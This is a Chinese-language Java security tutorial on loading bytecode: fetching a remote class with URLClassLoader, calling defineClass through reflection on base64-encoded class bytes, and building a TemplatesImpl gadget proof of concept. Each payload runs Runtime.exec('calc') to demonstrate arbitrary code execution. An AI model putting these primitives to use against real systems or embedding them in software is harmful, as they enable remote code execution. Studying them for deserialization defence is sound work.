加载字节码

字节码通常来说就是JVM可以识别的代码文件。

URLClassLoader加载字节码

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

这里可以启动一个http服务:

python -m http.server 80

在执行此命令的目录下放置编译好的class文件:

public class Exploit {
    public Exploit() throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello");
    }

    static {
        System.out.println("加载中");
    }
}

然后在主程序执行:

import java.net.URL;
import java.net.URLClassLoader;

public class main {
    public static void main(String[] args) throws Exception{
        //利⽤ClassLoader加载远程字节码
        URL[] urls = {new URL("http://127.0.0.1:80/")};
        URLClassLoader classLoader = URLClassLoader.newInstance(urls);
        Class c= classLoader.loadClass("Exploit");
        c.newInstance();
    }
}

加载过程

  • 首先loadClass从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行findClass
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java

这里将上面的class文件读取出来使用base64编码一下:

import base64
with open('Exploit.class','rb') as f:
    code = base64.b64encode(f.read())
print(code.decode())

可以通过反射使用defineClass()方法。

import java.lang.reflect.Method;
import java.util.Base64;

public class main {
    public static void main(String[] args) throws Exception {
        // 反射获取defineClass
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        //解码加载
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCgAYABkIABoKABgAGwkAHAAdCAAeCgAfACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACkV4Y2VwdGlvbnMHACQBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAsADAcAJQwAJgAnAQAEY2FsYwwAKAApBwAqDAArACwBAAVoZWxsbwcALQwALgAvAQAJ5Yqg6L295LitAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAkACgAAAAAAAgABAAsADAACAA0AAABMAAIAAQAAABYqtwABuAACEgO2AARXsgAFEga2AAexAAAAAgAOAAAAEgAEAAAAAgAEAAMADQAEABUABQAPAAAADAABAAAAFgAQABEAAAASAAAABAABABMACAAUAAwAAQANAAAAJQACAAAAAAAJsgAFEgi2AAexAAAAAQAOAAAACgACAAAACAAIAAkAAQAVAAAAAgAW");
        Class Exploit = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exploit", code, 0, code.length);
        Exploit.newInstance();
    }
}

TemplatesImpl加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个包中有一个内部类TransletClassLoader

static final class TransletClassLoader extends ClassLoader {
    TransletClassLoader(ClassLoader parent) {
        super(parent);
    }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

可以看到在这个内部类中是调用了defineClass方法的,可以逆向追踪到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的defineTransletClasses()方法。

image-20240216185727756

关键代码如下:

if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
        public Object run() {
            return new TransletClassLoader(ObjectFactory.findClassLoader());
        }
    });

try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
        _auxClasses = new Hashtable();
    }

    for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]);
        final Class superClass = _class[i].getSuperclass();

        // Check if this is the main class
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
            _transletIndex = i;
        }
        else {
            _auxClasses.put(_class[i].getName(), _class[i]);
        }
    }

由上述代码可知_bytecodes不能为空,而且需要传入二维数组。并且由于if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }这行代码,所以要求我们传入的字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类(结合getTransletInstance()方法一起看),所以Exploit改动一下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public Exploit() throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello");
    }
}

继续跟踪到getTransletInstance()

private Translet getTransletInstance()
        throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        ......

这里看到,defineTransletClasses()方法调用完成后实例化加载的字节码。同时也能看出_name不能为空,继续追踪到newTransformer()

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);
        ......

可以看到从这里就已经是public权限了,所以从这里开始构造一个poc:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;


public class main {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "Cristrik010");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }

    static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
        Field bytecodes = object.getClass().getDeclaredField(FieldName);
        bytecodes.setAccessible(true);
        bytecodes.set(object,data);
    }
}